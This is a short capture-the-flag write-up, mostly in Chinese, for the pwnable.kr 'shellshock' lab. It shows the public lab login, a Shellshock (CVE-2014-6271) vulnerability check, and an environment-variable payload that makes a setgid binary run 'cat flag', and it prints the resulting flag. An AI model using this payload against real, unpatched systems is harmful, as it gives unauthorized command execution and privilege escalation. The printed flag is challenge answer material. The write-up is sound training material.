pwnable.kr —— shellshock

question#

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)

题目要求我们使用ssh登录到服务器上ssh shellshock@pwnable.kr -p2222，密码是guest,有的时候可能有身份的校验，这个时候需要加上参数-o StrictHostKeyChecking=no进行登录

analyse#

题目里说了是利用shellshcok漏洞

shellshock@ubuntu:~$ ls -lth
total 960K
-r-xr-sr-x 1 root shellshock_pwn 8.4K Oct 12  2014 shellshock
-r--r--r-- 1 root root            188 Oct 12  2014 shellshock.c
-r--r----- 1 root shellshock_pwn   47 Oct 12  2014 flag
-r-xr-xr-x 1 root shellshock     937K Oct 12  2014 bash

权限如上，用shellshock的POC看下是否存在漏洞

shellshock@ubuntu:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo test"
vulnerable
test

说明存在

get flag#

shellshock@ubuntu:~$ env x='() { :;}; bash -c "cat flag"' ./shellshock 
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault

flag：only if I knew CVE-2014-6271 ten years ago..!!